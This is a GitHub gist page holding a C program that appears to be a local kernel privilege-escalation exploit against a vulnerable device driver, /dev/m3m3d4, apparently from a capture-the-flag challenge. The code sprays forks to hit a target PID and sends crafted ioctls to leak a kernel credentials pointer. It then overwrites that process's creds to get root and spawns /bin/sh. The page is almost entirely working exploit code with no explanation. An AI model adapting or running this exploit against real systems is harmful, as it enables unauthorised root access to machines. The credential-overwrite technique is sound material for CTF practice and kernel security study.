-
-
Save anonymous/83f96600c5ae851940d6 to your computer and use it in GitHub Desktop.
config
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/types.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <signal.h> | |
void *do_ioctl(int fd, int num, pid_t pid, unsigned int arg1, unsigned int arg2); | |
int child(); | |
int child2(); | |
int child3(); | |
struct user_buf | |
{ | |
unsigned int len; | |
void *ptr; | |
}; | |
struct ioctl_req | |
{ | |
pid_t pid; | |
unsigned int arg1; | |
unsigned int arg2; | |
}; | |
int main(int argc, char **argv) | |
{ | |
pid_t pid, mypid, child2_pid, pid_tmp, child3_pid; | |
char buf[10000]; | |
char buf2[10000]; | |
char zerobuf[10000]; | |
int child_status; | |
unsigned int creds_ptr; | |
unsigned int user_buf_ptr; | |
unsigned int cmd_ptr; | |
struct user_buf user_buf1; | |
memset(buf2, 0, 10000); | |
memset(zerobuf, 0, 10000); | |
mypid = getpid(); | |
pid = fork(); | |
if (pid < 0) { | |
printf("fork fail\n"); | |
return 1; | |
} | |
if (!pid) | |
return child(); | |
child2_pid = pid + 1447; | |
printf("Parent pid: %d, child: %d, generating %d\n", mypid, pid, child2_pid); | |
while(pid_tmp < (child2_pid - 1)) | |
{ | |
pid_tmp = fork(); | |
if (pid_tmp < 0) { | |
printf("fork2 fail\n"); | |
return 1; | |
} | |
if (!pid_tmp) | |
return 0; | |
waitpid(pid_tmp, child_status, 0); | |
} | |
pid_tmp = fork(); | |
if (pid_tmp < 0) { | |
printf("fork3 fail\n"); | |
return 1; | |
} | |
if (!pid_tmp) | |
return child2(); | |
printf("Got 2nd child:%d\n", pid_tmp); | |
child3_pid = fork(); | |
if (child3_pid < 0) { | |
printf("child3 fork fail\n"); | |
return 1; | |
} | |
if (!child3_pid) | |
return child3(); | |
printf("3rd child created: %d\n", child3_pid); | |
int fd = open("/dev/m3m3d4", O_RDWR); | |
if (fd < 0) { | |
printf("Error opening fd\n"); | |
return 1; | |
} | |
do_ioctl(fd, 1340, pid, (unsigned int) buf, (unsigned int) NULL); | |
printf("uid:%d\n", *((unsigned int *) (buf+4))); | |
sleep(2); | |
wait(&child_status); | |
printf("ioctl 1339 result:%d\n", ioctl(fd, 1339, pid)); | |
printf("Storing main process data...\n"); | |
memset(buf, 0, 16); | |
*((pid_t *) buf) = child2_pid; | |
do_ioctl(fd, 1343, mypid, 16, (unsigned int) buf); | |
printf("Updating 2nd child info to set creds pointer...\n"); | |
printf("ioctl 1339 result:%d\n", ioctl(fd, 1339, child2_pid)); | |
printf("Getting 2nd child pid ...\n"); | |
do_ioctl(fd, 1340, child2_pid, (unsigned int) buf, (unsigned int) NULL); | |
printf("uid:%d\n", *((unsigned int *) (buf+4))); | |
printf("Setting child2 data to allocate user data ptr ...\n"); | |
do_ioctl(fd, 1343, child2_pid, 8, (unsigned int) zerobuf); | |
printf("Reading data ...\n"); | |
do_ioctl(fd, 1342, mypid, (unsigned int) buf2, 0); | |
cmd_ptr = *((unsigned int *) (buf2+8)); | |
creds_ptr = *((unsigned int *) (buf2+12)); | |
user_buf_ptr = *((unsigned int *) (buf2+16)); | |
printf("Got creds ptr:0x%08x\n", creds_ptr); | |
printf("Got user data ptr:0x%08x\n", user_buf_ptr); | |
user_buf1.len = 32; | |
user_buf1.ptr = (void *) creds_ptr + 4; | |
printf("Setting child3 data ...\n"); | |
do_ioctl(fd, 1343, child3_pid, 8, (unsigned int) &user_buf1); | |
printf("Storing main process data to set final dst user data ptr...\n"); | |
memset(buf, 0, 16); | |
*((pid_t *) buf) = child2_pid; | |
*((unsigned int *) (buf + 4)) = cmd_ptr; | |
*((unsigned int *) (buf + 8)) = creds_ptr; | |
// crafted struct addr | |
*((unsigned int *) (buf + 12)) = user_buf_ptr + 8; | |
do_ioctl(fd, 1343, mypid, 16, (unsigned int) buf); | |
printf("Getting root ...\n"); | |
do_ioctl(fd, 1343, child2_pid, 32, (unsigned int) zerobuf); | |
printf("Checking 2nd child uid ...\n"); | |
memset(buf, 0, 16); | |
do_ioctl(fd, 1340, child2_pid, (unsigned int) buf, (unsigned int) NULL); | |
printf("uid:%d\n", *((unsigned int *) (buf+4))); | |
kill(child2_pid, SIGCONT); | |
waitpid(child2_pid, &child_status, 0); | |
} | |
void *do_ioctl(int fd, int num, pid_t pid, unsigned int arg1, unsigned int arg2) | |
{ | |
struct ioctl_req req; | |
int res; | |
req.pid = pid; | |
req.arg1 = arg1; | |
req.arg2 = arg2; | |
res = ioctl(fd, num, &req); | |
printf("ioctl %d result:%d\n", num, res); | |
} | |
int child() | |
{ | |
sleep(1); | |
return 0; | |
} | |
int child2() | |
{ | |
pid_t pid = getpid(); | |
kill(pid, SIGSTOP); | |
system("/bin/sh"); | |
} | |
int child3() | |
{ | |
pid_t pid = getpid(); | |
kill(pid, SIGSTOP); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment